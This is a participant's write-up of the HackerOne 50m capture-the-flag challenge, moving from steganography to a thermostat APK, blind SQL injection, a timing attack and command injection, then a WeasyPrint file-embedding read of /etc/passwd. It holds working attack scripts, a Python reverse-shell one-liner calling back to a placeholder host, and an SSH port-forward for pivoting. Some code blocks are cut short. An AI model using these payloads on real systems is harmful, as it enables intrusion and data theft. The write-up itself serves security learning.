Writeup Hackerone 50m CTF

First stage of this ctf we need to solve an hidden file from an image which posted by HackerOne at twitter https://twitter.com/hacker0x01/status/1100543680383832065?lang=en.

I tried to run bunch of steganography tools and i found something with zteg the exact command is zteg -a h1-stege.png

➜  h1702 zsteg -a h1-stege.png
imagedata           .. text: "E_B.\n3T|="
b6,bgr,lsb,xy,prime .. text: "YETYEWUU"
b7,b,msb,xy,prime   .. text: "(4:M &Q(42"
b1,rgb,lsb,yx       .. zlib: data="https://bit.do/h1therm", offset=5, size=22
b2,rgb,lsb,yx       .. file: PGP\011Secret Sub-key -
b3,r,lsb,yx         .. text: "Q.L\n4Af^"

and i got the valid zlib file, and the link is https://bit.do/h1therm is a shortener link to and google drive files that lead us to an android apk thermostat.

$ curl -v https://bit.do/h1therm
> GET /h1therm HTTP/1.1
> Host: bit.do
> User-Agent: curl/7.52.1
> Accept: */*
< HTTP/1.1 301 Moved Permanently
< Date: Wed, 27 Feb 2019 15:51:35 GMT
< Server: Apache/2.2.34 (Amazon)
< Location: https://drive.google.com/file/d/1u5Mg1xKJMrW4DMGaWtBZ1TJKPdvqCWdJ/view?usp=sharing
< Content-Length: 363
< Connection: close
< Content-Type: text/html; charset=iso-8859-1

The Thermostat App

First i try to decompile the apk using jadx it takes me a while to understand the application workflow, the request and response to the backend server is encrypted by an AES but the flaws is they stored the secret key hardcoded in the apk

    protected Response<String> parseNetworkResponse(NetworkResponse networkResponse) {
        try {
            Object decode = Base64.decode(new String(networkResponse.data), 0);
            Object obj = new byte[16];
            System.arraycopy(decode, 0, obj, 0, 16);
            Object obj2 = new byte[(decode.length - 16)];
            System.arraycopy(decode, 16, obj2, 0, decode.length - 16);
            Key secretKeySpec = new SecretKeySpec(new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}, "AES");
            AlgorithmParameterSpec ivParameterSpec = new IvParameterSpec(obj);
            Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
            instance.init(2, secretKeySpec, ivParameterSpec);
            JSONObject jSONObject = new JSONObject(new String(instance.doFinal(obj2)));
            if (jSONObject.getBoolean("success")) {
                return Response.success(null, getCacheEntry());
            return Response.success(jSONObject.getString("error"), getCacheEntry());
        } catch (Exception unused) {
            return Response.success("Unknown", getCacheEntry());

the secret key is :

Key secretKeySpec = new SecretKeySpec(new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}, "AES");

so i able to re-implement the encrypt/decrypt function and able to send an plain json request, so i create a flask web app that act like a proxy to catch the plain json request -> encrypt request -> send encrypted request -> get encrypted response -> decrypt encrypted response -> return plaintext response.

#!/usr/bin/env python2
from Crypto.Cipher import AES
from Crypto import Random
import os
import base64
import requests
import urllib
import json
import flask

app = flask.Flask(__name__)
key = "".join(["\x38","\x4F","\x2E","\x6A","\x1A","\x05","\xE5","\x22","\x3B","\x80","\xE9","\x60","\xA0","\xA6","\x50","\x74"])
iv = str(os.urandom(16))

headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 
"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 8.1.0; Redmi 6A MIUI/V9.6.18.0.OCBMIFD)", 
"Connection": "close", 
"Accept-Encoding": "gzip, deflate"

def r_pad(payload, block_size=16):
    length = block_size - (len(payload) % block_size)
    return payload + chr(length) * length

def encrypt(raw):
    cipher = AES.new(key, AES.MODE_CBC,iv)
    ct_bytes = cipher.encrypt(r_pad(raw))
    obj2 = iv + ct_bytes
    ct = base64.b64encode(obj2).decode('utf-8')
    return ct

def decrypt(enc):
    encs = base64.b64decode(enc)
    obj = encs[0:16]
    cipher = AES.new(key, AES.MODE_CBC, obj)
    # print("The message was: ", cipher.decrypt(encs), len(cipher.decrypt(encs)))
    pt = cipher.decrypt(encs)[16:].split("}")[0]+"}"
    print "[RESPONSE]: " + pt
    return pt

def make_request(jsondata):
    raw_data = json.dumps(jsondata)
    enc = encrypt(raw_data)
    enc_data = urllib.quote_plus(enc+"\n")
    print "[RAW]: "+raw_data
    print "[ENC_DATA]: "+enc
    r = requests.post('', data={"d": enc}, headers=headers)
    dec_data = decrypt(r.content)
    # print decrypt(enc)
    return dec_data, r.status_code

@app.route('/', defaults={'u_path': ''})
def main(u_path):
    url = '' + flask.request.full_path[:-1]
    print 'URL: ' + url
    r = requests.get(url)
    return r.content, r.status_code

@app.route('/login', methods=['POST','GET'])
def login():
    if flask.request.method == "GET":
        return """
        <form action="/login" method="POST">
            <input type="text" name="user">
            <input type="text" name="pass">
            <input type="hidden" name="cmd" value="getTemp">
            <input type="hidden" name="temp" value="81">
            <input type="submit">
        username = flask.request.form['user']
        password = flask.request.form['pass']
        cmd = flask.request.form['cmd']
        req_data = {'username':username,'password':password,'cmd':cmd}
        if cmd == "setTemp":
            req_data = {'username':username,'password':password,'cmd':cmd,'temp':flask.request.form['temp']}

        return make_request(req_data)

app.run(debug = True)

after doing some fuzzing i found that the application is vulnerable to an blind sql injection boolean-based , so i made a python scripts to automate the exploit.

#!/usr/bin/env python2
import requests
import re
from StringIO import StringIO
from pycurl import *
import os

url = ""
payload = {
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 
"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 8.1.0; Redmi 6A MIUI/V9.6.18.0.OCBMIFD)", 
"Connection": "close", 
"Accept-Encoding": "gzip, deflate"

def check(data):
    print data.elapsed.total_seconds()
    if data.elapsed.total_seconds() > 1:
        return False
        return True

def check2(data):
    # print data.text
    return re.search("Invalid username or password", data.text)

def blind(kolom,table):
    passwd = ""
    idx = 1

    while (True):
        lo = 1
        hi = 255
        temp = -1
        while(lo <= hi):
            mid = (lo + hi) / 2         
            # payload["user"] = "' or (SELECT CASE when (ascii(substr({},{},1)) <= {}) THEN 1 ELSE sleep(1) END {}) or '".format(str(kolom),str(idx),str(mid),str(table))
            payload["user"] = "' or (SELECT CASE when (select ascii(substr({},{},1)) {}) <= {} THEN (select 1) ELSE (select 1 union select 2) END) or '".format(str(kolom),str(idx),str(table),str(mid))
            # payload["user"] = "' or (select if(true, (select 1), (select 1 union select 2))) or '"
            res = requests.post(url,data=payload, headers=headers)
            # print payload["user"]
            if check2(res):
               hi = mid-1
               temp = mid
               lo = mid+1
        if (hi == 0): break
        passwd += chr(temp)
        res = ""
        print "Result [{}]: {}".format(table,passwd)
        idx += 1

    return passwd

# blind("user()","")
# Result []: root@localhost

# blind("@@version","")
# Result []: 10.1.37-MariaDB-0+deb9u1

# blind("database()","")
# Result []: flitebackend

# blind("schema()","")
# Result []: flitebackend

# blind("table_name","from information_schema.tables where table_name!='devices'")
# blind("table_name","from information_schema.tables where table_schema=schema()")
# Result [from information_schema.tables where table_schema=schema()]: devices
# Result [from information_schema.tables where table_name!='devices']: users

# blind("column_name","from information_schema.columns where table_name='devices'")
# blind("column_name","from information_schema.columns where table_name='devices' and column_name!='id'")
# blind("column_name","from information_schema.columns where table_name='devices' and column_name not in ('id','ip')")
# id, ip

# blind("column_name","from information_schema.columns where table_name='users' and column_name not in ('id')")
# blind("column_name","from information_schema.columns where table_name='users' and column_name not in ('id','username')")
# blind("column_name","from information_schema.columns where table_name='users' and column_name not in ('id','username','password')")
# blind("column_name","from information_schema.columns where table_name='users' and column_name not in ('id','username','password','USER')")
# id, username, password, USER

# blind("password","from users where username='admin'")
# 1, admin, 5f4dcc3b5aa765d61d8327deb882cf99 (password)

blind("group_concat(ip)","from devices")
# 1,
# 2,
# 3,

# FROM flitebackend.devices ORDER BY id LIMIT 2,1),6,1))>87) THEN 6492 ELSE 
# (SELECT 4509 UNION SELECT 4483) END))-- Ysdo

after that i got couple of information from the databases have 2 tables that have schema other than information_schema which is users and devices, from users table i got an admin credentials with username: admin and password: password but it was not quite usefull and from another table devices i got list of an ipaddress i tried run a ping sweep using this command :

for x in `cat ip_addr`; do ping -c 1 -W 1 $x | grep from; done

to the ipaddress list and found one ipaddress that accessible, which is the next target that we should pwn.

FliteThermostat Admin

after trying to understand the application, i notice a difference when send a valid hash length (64) and send a less than 64 character and made me think there is an timing attack, i tried to fuzz the first byte of the hash and notice have one longer response (when the byte is correct) so i made a python script to automate the exploitation proccess, i made an flask web application that act like an proxy to send the encrypted request to target server.

the flask app is simply take an user&password and then encrypt the value using javascript function provided in the target application.

#!/usr/bin/env python2
import requests
import string
from tqdm import tqdm
import random

url = ""

hashnya = "f9{}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
while True:
	basket = {"time":0,"hex":"xx"}
	fname  = hashnya.split("{}")[0] + "_"+str(random.random())[2:]
	for x in tqdm(range(256)):
		ress = open("result/" + fname,"a")
		tmp = "%0.2x" % x
		# print hashnya.format(tmp)
		req = requests.post(url,data={"hash":hashnya.format(tmp)})
		req_time = req.text
		# req_time = req.elapsed.total_seconds()
		if float(basket["time"]) < float(req_time):
			basket["time"] = float(req_time)
			basket["hex"] = tmp
		ress.write("Bytes: " + str(tmp)+" "+str(req_time)+"\n")
		print "\nBytes: " + str(tmp),str(req_time)+"\n"
	hashnya = hashnya.format(basket["hex"]+"xx").split("xx")[0]+"{}"+"a"*(64-(len(hashnya.format("xx").split("xx")[0])+4))
	print "Current Hash: " + str(hashnya)

this exploit is send request to the proxy (flask application) and then analyze the response time which is returned in the body response from the flask app and then save all the response time to text file to help me manually analyze the response because sometime the timing just messed up.

running out the scripts multiple times and finally get the correct hash to login into the application.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 0.9x - 1.2x)
f9aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 1.4x - 1.7x)
f986aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 2.0x - 2.3x)
f9865aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 2.4x - 2.8x)
f9865a49aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 2.9x - 3.1x)
f9865a4952aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 3.4x - 3.6x)
f9865a4952a4aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 3.7x - 4.1x)
f9865a4952a4f5aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 4.2x - 4.5x)
f9865a4952a4f5d7aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 4.7x - 4.9x)
f9865a4952a4f5d74baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 5.1x - 5.3x)
f9865a4952a4f5d74b43aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 5.7x - 6.2x)
f9865a4952a4f5d74b43f3aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 6.2x - 6.4x)
f9865a4952a4f5d74b43f355aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 6.7x - 6.9x)
f9865a4952a4f5d74b43f3558faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 7.2x - 7.6x) [8f]
f9865a4952a4f5d74b43f3558fedaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 7.7x - 8.1x) [ed]
f9865a4952a4f5d74b43f3558fed6aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 8.2x - 8.4x) [6a][still not sure]
f9865a4952a4f5d74b43f3558fed6a02aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 8.4x - 8.9x) [02]
f9865a4952a4f5d74b43f3558fed6a0225aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 9.4x - 9.5x) [25]
f9865a4952a4f5d74b43f3558fed6a0225c6aaaaaaaaaaaaaaaaaaaaaaaaaaaa ( 9.5x - 9.9x) [c6]
f9865a4952a4f5d74b43f3558fed6a0225c687aaaaaaaaaaaaaaaaaaaaaaaaaa ( 10.0 - 10.4) [87]
f9865a4952a4f5d74b43f3558fed6a0225c6877faaaaaaaaaaaaaaaaaaaaaaaa ( 10.9 - 11.1) [7f]
f9865a4952a4f5d74b43f3558fed6a0225c6877fbaaaaaaaaaaaaaaaaaaaaaaa ( 11.2 - 11.4) [ba]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60aaaaaaaaaaaaaaaaaaaa ( 11.8 - 11.9) [60]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a2aaaaaaaaaaaaaaaaaa ( 12.1 - 12.3) [a2]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250aaaaaaaaaaaaaaaa ( 12.7 - 13.4) [50]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcaaaaaaaaaaaaaa ( 13.3 - 13.6) [bc]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbdaaaaaaaaaaaa ( 13.8 - 14.0) [bd]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde7aaaaaaaaaa ( 14.0 - 14.4) [e7]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753aaaaaaaa ( 14.7 - 14.9) [53]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5aaaaaa ( 15.1 - 15.5) [f5]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5dbaaaa ( 1 - 15.9) [db]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db13aa ( 16.4) [13]
f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db13d8 ( 16.9 ) [d8]

And got a session cookie when logged in using the correct hash, at the first time i thought that was an JWT but it was not, that was an Flask session token which structured as [Payload].[Expiry].[Signature] , tried an attack to find if the session generated using a weak key but it was not working.

After strugling around i found that have a hidden parameter port and i just think there must be another hidden parameter and i make a custom wordlist to bruteforce the parameter using burp intruder and found another update_host as a valid parameter reflecting to the output.

the update_host parameter is vulnerable to Remote Code Execution we can execute any arbitary code just by using a backtick.

create a reverse shell using python`python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22YOUR_IP%22,1212));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27`

and then python -c 'import pty;pty.spawn("/bin/bash")' to spawn a TTY, I realize that we still on a container and scanning the network give me other internal application called Accounting and i create remote port forwarding using an ssh

ssh -v -o PreferredAuthentications=password -o PubkeyAuthentication=no -o StrictHostKeyChecking=no -fN -R IP_ADDR:8663: abdilahrf@IP_ADDR

And again the application is behave diferently when i try to inject the parameter password with SQL Injection, after 2 days for looking any working exploits i just realize another way to get in to the application in http://IP_ADDR:8663/invoices they have an HTML Comment to http://IP_ADDR:8663/invoices/new which doesn’t ask for any authentication, so the authentication is an rabbit hole 100%.

after a while i found that the application is detecting substring of script and remove the string i can abuse that to bypass any filter used in the application like close tag filter and even bypass the chrome auditor.

to close tag i can use <script/style> so we can close the style tag and do something else, on the preview i got an xss using this payload :


tried to embed an image and i got response from the server which say the user agent weasyprint 44

after reading the github repository to get an idea how weasyprint work i found that, they didn’t support javascript at all so the attack vector using javascript is gone, and also for render the SVG they using an CairoSVG which is already use defusedxml so we cannot do an XXE too here.

struggling around and found that we able to abuse the feature from weasypdf

that feature is allow us to embed any file to the pdf, so i try to embed /etc/passwd using this payload :

  "companyName": "Hackerone",
  "email": "administrator@hackerone.com",
  "invoiceNumber": "1337",
  "date": "1337-1337-01",
  "items": [
  "styles": {
    "body": {
      "background-color": "white",
      "<script/style><a rel='attachment' href='file:///etc/passwd'>file<script/a><style>*{background-image": "url('')"


and using pdfdetach to extract the embeded file from the PDF.

➜  dump pdfdetach -saveall etcpasswd.pdf
➜  dump cat passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false
➜  dump

we able to read the filesystem, now the problem is to read source code of the application, after a while i found that able to read from /proc/ path so i embed /proc/self/cmdline and i found the command used to run the program with the parameter is /usr/local/bin/uwsgi --ini /etc/uwsgi/uwsgi.ini try to read /etc/uwsgi/uwsgi.ini to find the application path without any luck.

and after i check the environment here /proc/self/environment i found there is another configuration file /app/uwsgi.ini

FLAG=nice try

Reading /app/uwsgi.ini give information about the module name so we can read /app/main.py since we already know the path is /app from /proc/self/environ

module = main
callable = app
#listen = 16384
lazy-apps = true
master = true
processes = 100
max-requests = 1000
#logto = /var/log/uwsgi.log
harakiri = 45

reading /app/main.py give us the application code.


If you're reading this, you've made it to the end of the road for this CTF.

Go to https://hackerone.com/50m-ctf and submit your write up, including as much detail as you can.
Make sure to include 'c8889970d9fb722066f31e804e351993' in the report, so we know for sure you made it through!

Congratulations again, and I'm sorry for the red herrings. :)